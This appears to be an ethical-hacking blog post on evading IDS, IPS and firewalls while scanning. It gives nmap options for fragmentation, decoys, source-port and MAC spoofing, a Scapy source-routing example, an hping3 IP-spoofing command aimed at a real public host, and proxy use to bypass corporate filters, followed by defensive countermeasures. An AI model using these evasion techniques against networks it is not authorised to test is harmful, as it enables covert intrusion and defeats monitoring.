class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!oBHm!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff0a0ad01-bf81-44e2-8460-fdd6e9d436be_1000x700.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!oBHm!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff0a0ad01-bf81-44e2-8460-fdd6e9d436be_1000x700.png 424w, https://substackcdn.com/image/fetch/$s_!oBHm!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff0a0ad01-bf81-44e2-8460-fdd6e9d436be_1000x700.png 848w, https://substackcdn.com/image/fetch/$s_!oBHm!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff0a0ad01-bf81-44e2-8460-fdd6e9d436be_1000x700.png 1272w, https://substackcdn.com/image/fetch/$s_!oBHm!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff0a0ad01-bf81-44e2-8460-fdd6e9d436be_1000x700.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!oBHm!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff0a0ad01-bf81-44e2-8460-fdd6e9d436be_1000x700.png" width="1000" height="700" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/f0a0ad01-bf81-44e2-8460-fdd6e9d436be_1000x700.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:700,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:418438,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/170809241?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff0a0ad01-bf81-44e2-8460-fdd6e9d436be_1000x700.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!oBHm!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff0a0ad01-bf81-44e2-8460-fdd6e9d436be_1000x700.png 424w, https://substackcdn.com/image/fetch/$s_!oBHm!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff0a0ad01-bf81-44e2-8460-fdd6e9d436be_1000x700.png 848w, https://substackcdn.com/image/fetch/$s_!oBHm!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff0a0ad01-bf81-44e2-8460-fdd6e9d436be_1000x700.png 1272w, https://substackcdn.com/image/fetch/$s_!oBHm!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff0a0ad01-bf81-44e2-8460-fdd6e9d436be_1000x700.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><strong>Strategies to avoid detection by IDS, IPS and Firewalls include:</strong></p><ul><li><p><strong>Packet Fragmentation:</strong> Splits packets into smaller pieces, reassembled at the destination. Use nmap -f &lt;target&gt; to fragment and confuse filters.</p></li><li><p><strong>Network Path Manipulation:</strong> Defines a custom route (e.g., via router rules) to avoid secure paths. Requires network mapping.</p></li><li><p><strong>Source Port Manipulation:</strong> Sets a specific source port (e.g., nmap -g 53 &lt;target&gt;) using whitelisted ports like 53 (DNS) or 443 (HTTPS). Check target documentation for allowed ports.</p></li><li><p><strong>IP Address Decoys:</strong> Adds fake IPs with nmap -D &lt;decoy1,decoy2&gt; &lt;target&gt; to mask the real source.</p></li><li><p><strong>IP/MAC Spoofing:</strong> Fakes IP (--spoof-ip) or MAC (--spoof-mac) to mimic trusted devices. MAC spoofing needs local network access.</p></li><li><p><strong>Creating Custom Packets:</strong> Craft packets with tools like Colasoft Packet Builder, Nmap, HPING, or NetScanTools Pro to manipulate flags or fragment data.</p></li><li><p><strong>Randomizing Host Order:</strong> Scans in random order with nmap --randomize-hosts 10.10.1.0/24 to avoid sequential detection.</p></li><li><p><strong>Sending Bad Checksums:</strong> Sends invalid checksums with nmap --badsum 10.10.1.11 to test if filters drop packets (ignored by some systems).</p></li><li><p><strong>Proxy Servers:</strong> Uses proxies (e.g., chains) to hide the source or access blocked sites. Configure via proxy tools or VPNs.</p></li></ul><div><hr></div><h2><strong>Packet Fragmentation</strong></h2><p>Packet fragmentation is the process of splitting a single probe packet into several smaller packets (fragments) before sending it across a network. These fragments are later reassembled by the receiving system in order to reconstruct the original packet.</p><p>In TCP/IP communication, if a packet is too large for the network&#8217;s maximum transmission unit (MTU), it must be broken down into fragments. </p><p>Each fragment carries a portion of the data along with sequence information, so the receiver can acknowledge and reassemble them into the original message. The fragments keep filling up the <strong>TCP window</strong> (a buffer space that defines how much data can be sent) before requiring an acknowledgment from the receiver.</p><pre><code><code># Basic SYN scan with packet fragmentation
nmap -sS -f &lt;Target IP&gt;

# Combine fragmentation with OS detection and version scanning
nmap -sS -O -sV -f &lt;Target IP&gt;

# Increase fragment size (default is 8 bytes)
nmap -sS --mtu 24 &lt;Target IP&gt;</code></code></pre><div><hr></div><h2><strong>Network Path Manipulation (Source Routing)</strong></h2><p>Normally, packets traveling across the internet take the fastest or most efficient route determined by the routers they pass through. Each router along the way inspects the packet&#8217;s destination IP address and chooses the next hop to forward it toward the destination.</p><p>However, attackers can override this behavior using a technique called source routing. Instead of letting routers automatically decide the path, the sender (attacker) specifies a custom path through the network. </p><p>This can be used to avoid security controls like firewalls, intrusion detection systems (IDS), or monitoring points at the edge of the network.</p><h3>Why Attackers Use Source Routing</h3><ul><li><p>To <strong>bypass firewalls</strong> by forcing packets to travel through less-secure routers.</p></li><li><p>To <strong>evade IDS/IPS systems</strong> that monitor only the default path.</p></li><li><p>To <strong>probe hidden routes</strong> in a network that would not normally be used.</p></li></ul><h3>Router Advertisement &amp; Path Definition</h3><p>Routers periodically send out <strong>Router Advertisements (RAs)</strong>, which are messages that announce themselves as available gateways and describe paths through the network (part of the IPv6 Neighbor Discovery Protocol, or ICMPv6). Normally. These help devices automatically configure their default routes.</p><h4>Example: Forcing a Custom Route with Scapy</h4><pre><code><code># Import necessary modules from Scapy
from scapy.all import IP, ICMP, send  


# Define a packet with Loose Source Routing (LSRR)
# Create an IP packet destined for 192.168.1.50 with LSRR options 
# specifying route through 192.168.1.1 and 192.168.1.2.

pkt = IP(dst="192.168.1.50", options=[('LSRR', ['192.168.1.1', '192.168.1.2'])]) / ICMP()  

# Send the packet
send(pkt)  # Transmit the constructed packet over the network</code></code></pre><div><hr></div><h2><strong>Source Port Manipulation</strong></h2><p><strong>When sending traffic across a network, the operating system usually chooses a random source port for outbound packets.</strong> The destination service listens on a fixed port (e.g., port 80 for HTTP), but the source port can vary.</p><p>Many firewalls and intrusion prevention systems are configured to block traffic coming from random or unusual ports, while allowing traffic from well-known service ports (like 80 for HTTP, 53 for DNS, or 443 for HTTPS).</p><p>Attackers can exploit this by manipulating the source port number of their packets to make them look like legitimate traffic. This technique allows them to bypass firewall rules and reach targets even when their true source port would normally be blocked.</p><h3>Example with Nmap</h3><pre><code># Force nmap to use source port 80 (commonly allowed HTTP traffic)
nmap -sS -g 80 10.10.1.11

# Use DNS port 53 as the source port
nmap -sS -g 53 10.10.1.11

# Use SMB/Windows file sharing port 445
nmap -sS -g 445 10.10.1.11</code></pre><h3>Which Ports Are Commonly Whitelisted?</h3><p>Firewalls usually allow outbound and inbound packets from <strong>well-known service ports</strong> because blocking them would break common network services. The most frequently whitelisted include:</p><ul><li><p><strong>80</strong> &#8594; HTTP (web browsing)</p></li><li><p><strong>443</strong> &#8594; HTTPS (secure web traffic)</p></li><li><p><strong>53</strong> &#8594; DNS (domain name lookups)</p></li><li><p><strong>20, 21</strong> &#8594; FTP (file transfer)</p></li><li><p><strong>25, 110, 143</strong> &#8594; Email protocols (SMTP, POP3, IMAP)</p></li><li><p><strong>445</strong> &#8594; SMB (Windows file sharing, often open on corporate networks)</p></li></ul><p>Attackers typically try <strong>80, 443, 53, 445</strong> first, as these are the most likely to be allowed through strict firewalls.</p><div><hr></div><h2><strong>IP Address Decoys</strong></h2><p>IP address decoy is a network reconnaissance technique that involves generating false source IP addresses to mask the true origin of network scans. </p><p>This method creates confusion for intrusion detection systems (IDS) and firewalls by making it appear as though multiple hosts are simultaneously scanning the target network.</p><h3>How IP Address Decoy Works</h3><p>When implementing IP address decoy, the scanning tool generates multiple fake IP addresses alongside the real source address. </p><p>To the target system, it appears that numerous different hosts are conducting network reconnaissance simultaneously. This obfuscation technique makes it significantly more challenging for security devices to identify the actual source of the scan and distinguish between legitimate decoy addresses and the genuine attacker's IP.</p><p>The effectiveness of this technique lies in its ability to create noise in security logs and alerts. Network defenders must analyze multiple potential source addresses, making it difficult to pinpoint the true threat and potentially causing them to investigate false leads.</p><h3>Implementing Decoy Scanning with Nmap</h3><p>Nmap provides two primary methods for implementing IP address decoy scanning:</p><h3>Random Decoy Generation</h3><pre><code><code>nmap -D RND:10 [target]</code></code></pre><p>This command instructs Nmap to generate 10 random IP addresses to use as decoys. The tool automatically creates these addresses, simplifying the process for the user while maintaining the obfuscation effect.</p><h3>Manual Decoy Specification</h3><pre><code><code>nmap -D decoy1,decoy2,decoy3,ME [target]</code></code></pre><p>This approach allows you to manually specify the decoy IP addresses. The "ME" parameter represents your actual IP address and can be positioned anywhere in the list to further obscure your true location among the decoys.</p><div><hr></div><h2><strong>IP/MAC Spoofing</strong></h2><p>Address spoofing involves modifying network identifiers to impersonate legitimate devices or users on a network.</p><p> These techniques operate at different layers of the network stack and serve as fundamental evasion methods for bypassing security controls that rely on address-based filtering and access control mechanisms.</p><h3>IP Address Spoofing</h3><p>IP address spoofing is a technique that involves modifying the source IP address in packet headers to make network traffic appear as though it originates from a different host. This method is particularly useful when target networks implement IP-based access controls or filtering mechanisms that restrict communication to specific authorized addresses.</p><p>When implementing IP spoofing, attackers modify the source address field in the IP packet header before transmission. The target system receives these packets and believes they originated from the spoofed IP address rather than the attacker's actual location. However, any response packets from the target will be sent back to the spoofed address, not the attacker's real IP address.</p><p>This technique proves especially valuable when edge devices such as firewalls or routers maintain allow-lists of permitted IP addresses. By spoofing an authorized IP address, attackers can potentially bypass these restrictions and gain access to otherwise protected network segments.</p><h3>Implementing IP Spoofing with Hping3</h3><p>One tool for IP spoofing is Hping3, which allows control over packet construction:</p><pre><code><code>hping3 www.google.com -a 7.7.7.7</code></code></pre><h3>MAC Address Spoofing</h3><p>MAC (Media Access Control) addresses operate at the data link layer (Layer 2) of the network stack and serve as unique hardware identifiers for network interfaces. Unlike IP addresses, which can change based on network configuration, MAC addresses are typically burned into network hardware and remain constant.</p><p>MAC addresses consist of 48 bits (6 bytes) typically displayed in hexadecimal format, such as 00:1B:44:11:3A:B7. The first three bytes identify the manufacturer (Organizationally Unique Identifier), while the last three bytes represent the specific device identifier assigned by that manufacturer.</p><p>MAC address spoofing involves changing the MAC address of a network interface to impersonate another device on the local network. </p><p>This technique can be particularly effective for bypassing network access controls that rely on MAC address filtering or device authentication. Many networks implement MAC-based access control lists (ACLs) that only permit specific, pre-approved devices to access network resources.</p><h3>MAC Spoofing with Nmap</h3><p>Nmap provides built-in support for MAC address spoofing through the <code>--spoof-mac</code> option:</p><pre><code><code>nmap --spoof-mac 0:1:2:3:4:5 [target]</code></code></pre><p>This command instructs Nmap to use the specified MAC address when sending packets during the scan. The tool can also generate random MAC addresses or use MAC addresses from specific vendors:</p><pre><code><code>nmap --spoof-mac Dell [target]
nmap --spoof-mac 0 [target]  # Generates random MAC</code></code></pre><div><hr></div><h2><strong>Creating Custom Packets</strong></h2><p>Packet crafting involves manually constructing and manipulating network packets by modifying headers, flags, fragmentation patterns, and payload data. </p><p>This technique enables bypassing firewalls, IPS, and IDS systems that rely on standard packet patterns and signature-based detection.</p><h3>Packet Crafting Techniques</h3><p>Common manipulation methods include IP fragmentation to split packets into smaller pieces that bypass size-based filters, TCP flag manipulation to create unusual flag combinations that confuse stateful inspection, and header field modification to trigger different processing paths in target systems. </p><p>Timing attacks control packet transmission rates to exploit timing-based security mechanisms, while protocol encapsulation wraps packets in unexpected protocol layers.</p><h3>Packet Crafting Tools</h3><p><strong>Colasoft (Recommended)</strong><br>Provides a comprehensive graphical interface for packet construction with precise control over all header fields and payload data. The visual approach makes it accessible while maintaining granular control for advanced manipulation.</p><p><strong>NMAP</strong><br>Includes built-in packet crafting capabilities through various scan techniques like SYN, ACK, and NULL scans. Can be combined with its scripting engine for automated packet manipulation tasks.</p><p><strong>HPING</strong><br>Command-line tool offering extensive control over TCP, UDP, ICMP, and raw IP packet creation. Supports customizable header fields, timing controls, and payload options for both simple and complex crafting scenarios.</p><p><strong>Packet Builder</strong><br>Specialized environment for constructing custom packets with detailed protocol layer control. Provides templates for common packet types while allowing complete customization of all components.</p><p><strong>NetScanTools Pro</strong><br>Integrated network analysis suite combining packet crafting with scanning and analysis functions. Supports multiple protocols with both template-based and custom packet construction options.</p><div><hr></div><h2><strong>Randomizing Host Order</strong></h2><p>Sequential host scanning creates predictable patterns that security systems can easily detect and block. When scanning hosts in numerical order (e.g., 10.10.1.1, 10.10.1.2, 10.10.1.3), firewalls and IDS systems can quickly identify the scanning activity through pattern recognition algorithms.</p><p>Host order randomization addresses this detection issue by scanning all target hosts in a random sequence rather than following predictable numerical patterns. This technique maintains complete network coverage while making the scanning activity appear less systematic and harder to correlate as a coordinated attack.</p><h3>Implementation with Nmap</h3><pre><code><code>nmap --randomize-hosts 10.10.1.0/24</code></code></pre><p>This command scans all hosts in the 10.10.1.0/24 network subnet but randomizes the order in which individual hosts are contacted. Instead of scanning 10.10.1.1 first, then 10.10.1.2, the tool might scan 10.10.1.47, then 10.10.1.12, then 10.10.1.203, making the activity appear more like normal network traffic patterns.</p><p>The randomization helps evade time-based detection mechanisms that look for sequential access patterns. Security systems monitoring for systematic scanning often trigger alerts when they detect consecutive IP addresses being probed within short time frames.</p><div><hr></div><h2><strong>Sending Bad Checksums</strong></h2><p>TCP and UDP protocols include checksum fields in their headers to ensure data integrity during transmission. </p><p>Network devices and firewalls often perform checksum validation as part of their packet processing routines. However, some security devices may handle packets with invalid checksums differently than properly formed packets.</p><p>Sending packets with intentionally incorrect checksums can help bypass certain firewall rulesets that don't properly validate these fields or that process malformed packets through different code paths. </p><p>Some firewalls may skip deeper inspection of packets with bad checksums, assuming they will be discarded by the destination host anyway.</p><h3>Nmap Bad Checksum Implementation</h3><pre><code><code>nmap --badsum &lt;target&gt;</code></code></pre><p>This option instructs Nmap to send packets with deliberately incorrect TCP/UDP checksums. While most properly configured systems will discard these packets, some security devices may still process them or respond in ways that reveal information about the target network infrastructure.</p><p>The technique proves particularly useful for identifying systems that don't perform proper checksum validation or for discovering security devices that handle malformed packets inconsistently. Any responses received from bad checksum packets indicate potential security weaknesses or misconfigurations in the target environment.</p><div><hr></div><h2><strong>Proxy Servers</strong></h2><p>A proxy server acts as an intermediary application that routes connections between clients and target systems. </p><p>This technology provides both anonymity for external scanning activities and access control bypass capabilities for internal network restrictions.</p><h3>External Scanning and Anonymity</h3><p>When scanning from outside a target network, proxy servers hide the scanner's true IP address by presenting the proxy's address to target systems. </p><p>Proxy chains create multiple layers of indirection by routing traffic through sequential proxy servers, making it extremely difficult to trace scanning activity back to its source.</p><p>Each proxy in a chain only knows the previous and next hop, preventing any single point from revealing the complete communication path. </p><p>Advanced configurations can rotate between different proxies automatically, further obscuring scanning patterns and avoiding rate-limiting mechanisms.</p><p>Security logs on target systems will show proxy IP addresses rather than the actual scanner location, complicating incident response and forensic investigations. This protection is essential for maintaining anonymity during reconnaissance activities.</p><h3>Internal Access Control Bypass</h3><p>For users within restrictive network environments, proxy servers bypass content filtering and access control policies. Organizations often block specific websites, services, or protocols based on destination addresses or content categories.</p><p>When internal policies block social media sites, file sharing services, or other restricted content, users can access these resources through proxy servers not included in organizational block lists. By connecting to an allowed proxy, users indirectly access blocked resources through the proxy's connection.</p><h3>Implementation Methods</h3><p><strong>Web-based proxies</strong> provide simple browser-based access to blocked sites through proxy web interfaces requiring no configuration changes.</p><p><strong>Browser proxy settings</strong> allow routing all browser traffic through external proxy servers with minimal setup.</p><p><strong>SOCKS proxies</strong> offer protocol-agnostic tunneling, supporting any network application beyond just web traffic, making them valuable for bypassing restrictions on SSH, FTP, or custom protocols.</p><h3>Proxy Types</h3><ul><li><p><strong>HTTP proxies</strong> handle web traffic efficiently but only support HTTP/HTTPS protocols.</p></li><li><p><strong>Anonymous proxies</strong> strip identifying headers from requests for enhanced privacy.</p></li><li><p><strong>Residential proxies</strong> use home internet connection IP addresses, appearing more legitimate to detection systems.</p></li><li><p><strong>Datacenter proxies</strong> offer higher performance and reliability but may be more easily identified as proxy traffic.</p></li></ul><div><hr></div><h3><strong>Example: Scanning from Outside</strong></h3><p>In this example, we&#8217;ll demonstrate how to combine evasion techniques for external network reconnaissance. The command provided maximizes the chances of bypassing security controls while ensuring scan effectiveness.</p><p>In the command, the options work together to obscure the scan&#8217;s origin, fragment packets for stealth, and utilize a commonly permitted source port to avoid detection:</p><pre><code><code>nmap -f -D RND:10 -S 192.168.1.100 --source-port 53 -T2 -sS 10.10.1.0/24</code></code></pre><p>Breaking down the command:</p><ul><li><p><code>nmap</code>: The tool used for network scanning.</p></li><li><p><code>-f</code>: Fragments packets into smaller pieces, making it harder for security devices to detect and analyze the scan.</p></li><li><p><code>-D RND:10</code>: Utilizes decoy scanning by sending packets from 10 random IP addresses, which masks the actual source of the scan and complicates detection efforts.</p></li><li><p><code>-S 192.168.1.100</code>: Specifies a source IP address for the packets, which helps in manipulating responses from the target network.</p></li><li><p><code>--source-port 53</code>: Uses the well-known DNS port (53), which is often allowed through firewalls, to disguise the scan and minimize the chances of being blocked.</p></li><li><p><code>-T2</code>: Sets a slower scan timing, reducing the likelihood of detection by avoiding spikes in network traffic that could signal a scan.</p></li><li><p><code>-sS</code>: Initiates a stealth SYN scan, which establishes half-open TCP connections to identify open ports without completing the handshake, helping maintain stealth.</p></li></ul><div><hr></div><h1>Network Scanning Countermeasures</h1><p>For every attack technique, corresponding defensive measures exist. Understanding these countermeasures is essential for both attackers seeking to evade detection and defenders implementing robust network security.</p><h2>Ping Sweep Countermeasures</h2><p><strong>Block ICMP Traffic</strong>: Configure firewalls to block incoming ICMP echo requests from unknown or untrusted sources, preventing basic ping sweep reconnaissance.</p><p><strong>Deploy IDS/IPS Systems</strong>: Implement intrusion detection and prevention systems like Snort to identify and block ping sweep attempts through pattern recognition and rate limiting.</p><p><strong>ICMP Traffic Analysis</strong>: Carefully evaluate ICMP traffic patterns flowing through enterprise networks to identify abnormal scanning behavior.</p><p><strong>Rate Limiting</strong>: Terminate connections with hosts sending more than 10 ICMP ECHO requests within a specified timeframe to prevent systematic scanning.</p><p><strong>DMZ Restrictions</strong>: Use demilitarized zones allowing only specific ICMP commands such as ECHO_REPLY, HOST UNREACHABLE, and TIME EXCEEDED.</p><p><strong>Access Control Lists</strong>: Limit ICMP traffic using ACLs restricted to ISP-specific IP addresses and known legitimate sources.</p><div><hr></div><h2>Port Scanning Countermeasures</h2><p><strong>Firewall and IDS Configuration</strong>: Configure firewall and IDS rules to detect and block port scanning probes based on connection patterns and frequency analysis.</p><p><strong>Validation Testing</strong>: Run port scanning tools against network hosts to verify that security systems properly detect and respond to scanning activity.</p><p><strong>Routing and Filtering Security</strong>: Ensure routing and filtering mechanisms cannot be bypassed using specific source ports or alternative routing methods.</p><p><strong>Firmware Updates</strong>: Maintain current router, IDS, and firewall firmware versions to protect against known bypass techniques and vulnerabilities.</p><p><strong>Custom Rule Sets</strong>: Implement restrictive firewall rules that lock down networks and block unnecessary ports at the perimeter.</p><p><strong>ICMP Message Filtering</strong>: Filter inbound ICMP message types and outbound ICMP type 3 unreachable messages at firewalls and routers.</p><p><strong>Comprehensive Scanning</strong>: Perform TCP and UDP scanning combined with ICMP probes against organizational IP address space to validate network configuration.</p><p><strong>Anti-Scanning Rules</strong>: Ensure anti-scanning and anti-spoofing rules are properly configured and actively monitored.</p><div><hr></div><h2>Banner Grabbing Countermeasures</h2><p><strong>Disable or Modify Banners</strong>: Display false banners to mislead attackers or turn off unnecessary services to limit information disclosure.</p><p><strong>Server Masking Tools</strong>: Use specialized tools to disable or alter banner information revealed during service enumeration.</p><p><strong>Apache Configuration</strong>: For Apache 2.x servers with mod_headers module, use httpd.conf directives to change banner headers and set custom server names. Alternatively, set ServerSignature Off to disable version disclosure.</p><p><strong>Hide File Extensions</strong>: Mask web technologies by hiding file extensions that reveal server information. Replace application mappings like .asp with .htm or .foo to disguise server identities.</p><p><strong>Apache Module Configuration</strong>: Apache users can implement mod_negotiation directives for additional banner obfuscation.</p><p><strong>Eliminate File Extensions</strong>: The most effective approach involves not using file extensions at all to completely mask underlying technologies.</p><div><hr></div><h2>IP Spoofing Detection and Countermeasures</h2><h3>Detection Techniques</h3><p><strong>TTL Analysis</strong>: Detect spoofing by analyzing Time-to-Live values in packet headers. External attackers typically have longer TTL values due to greater network distance from edge devices, allowing identification of spoofed internal addresses through TTL differential analysis.</p><p><strong>TCP Flow Control Monitoring</strong>: Implement custom TCP sliding window configurations for internal networks. Since external attackers cannot match internal flow control settings, mismatched window sizes indicate potential IP spoofing attempts.</p><h3>Prevention Measures</h3><p><strong>Traffic Encryption</strong>: Encrypt network traffic using cryptographic protocols including IPsec, TLS, SSH, and HTTPS to protect against interception and manipulation.</p><p><strong>Multi-Layered Firewalls</strong>: Deploy multiple firewall layers providing defense-in-depth protection against spoofing attacks.</p><p><strong>Avoid IP-Based Authentication</strong>: Do not rely solely on IP addresses for authentication, as these can be easily spoofed by determined attackers.</p><p><strong>Sequence Number Randomization</strong>: Use random initial sequence numbers to prevent spoofing attacks based on sequence number prediction.</p><p><strong>Ingress Filtering</strong>: Configure routers and firewalls at network perimeters to filter incoming packets appearing to originate from internal IP addresses.</p><p><strong>Egress Filtering</strong>: Filter outgoing packets with invalid local IP addresses as source addresses to prevent internal systems from participating in spoofing attacks.</p><div><hr></div><h1>Next Step: Enumeration</h1><p>In the network scanning phase of the ethical hacking process, we the identify live hosts, open ports, running services, and operating systems using tools like Nmap, Wireshark, and specialized scanners. </p><p>Stealth techniques and packet crafting can bypass defenses, and scans must adhere to the client&#8217;s Rules of Engagement (RoE). The intelligence gathered during this phase directly feeds into the following enumeration process, where detailed service information and potential vulnerabilities are systematically cataloged.</p><p>Having identified live systems and accessible services, the next step involves detailed enumeration to extract specific configuration details, user accounts, system information, and potential security weaknesses from discovered targets.</p><div class="digest-post-embed" data-attrs="{&quot;nodeId&quot;:&quot;683b2c9b-db83-49da-8fde-2b8917e8d765&quot;,&quot;caption&quot;:&quot;Scanning in ethical hacking begins with identifying live hosts and open ports, then continues with enumeration, which collects detailed information about those systems, such as user accounts, shared resources, and service configurations.&quot;,&quot;cta&quot;:&quot;Read full story&quot;,&quot;showBylines&quot;:true,&quot;size&quot;:&quot;lg&quot;,&quot;isEditorNode&quot;:true,&quot;title&quot;:&quot;The Complete Guide to Enumeration (Ethical Hacking)&quot;,&quot;publishedBylines&quot;:[{&quot;id&quot;:313925317,&quot;name&quot;:&quot;Dark Marc&quot;,&quot;bio&quot;:&quot;The digital world is under attack&#8212;breaches, exploits, and evolving threats. Will you be ready? Join me as we explore hacking, cybersecurity, and the edge of digital warfare. Stay sharp. Stay ahead.&quot;,&quot;photo_url&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/f76ab9c8-c43d-4098-b472-db750cc2b403_500x500.png&quot;,&quot;is_guest&quot;:false,&quot;bestseller_tier&quot;:null}],&quot;post_date&quot;:&quot;2025-09-20T04:58:06.031Z&quot;,&quot;cover_image&quot;:&quot;https://substackcdn.com/image/fetch/$s_!aO03!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcb197ea5-f9f4-4057-8f3b-9118fe1216de_1500x500.png&quot;,&quot;cover_image_alt&quot;:null,&quot;canonical_url&quot;:&quot;https://darkmarc.substack.com/p/the-complete-guide-to-enumeration&quot;,&quot;section_name&quot;:null,&quot;video_upload_id&quot;:null,&quot;id&quot;:173154131,&quot;type&quot;:&quot;newsletter&quot;,&quot;reaction_count&quot;:0,&quot;comment_count&quot;:0,&quot;publication_id&quot;:3940081,&quot;publication_name&quot;:&quot;Dark Marc | Cybersecurity, Hacking &amp; Tech&quot;,&quot;publication_logo_url&quot;:&quot;https://substackcdn.com/image/fetch/$s_!VPsM!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2c500f6a-7cf3-418d-b207-af8e956973c5_500x500.png&quot;,&quot;belowTheFold&quot;:true,&quot;youtube_url&quot;:null,&quot;show_links&quot;:null,&quot;feed_url&quot;:null}"></div>]]></content:encoded></item></channel></rss>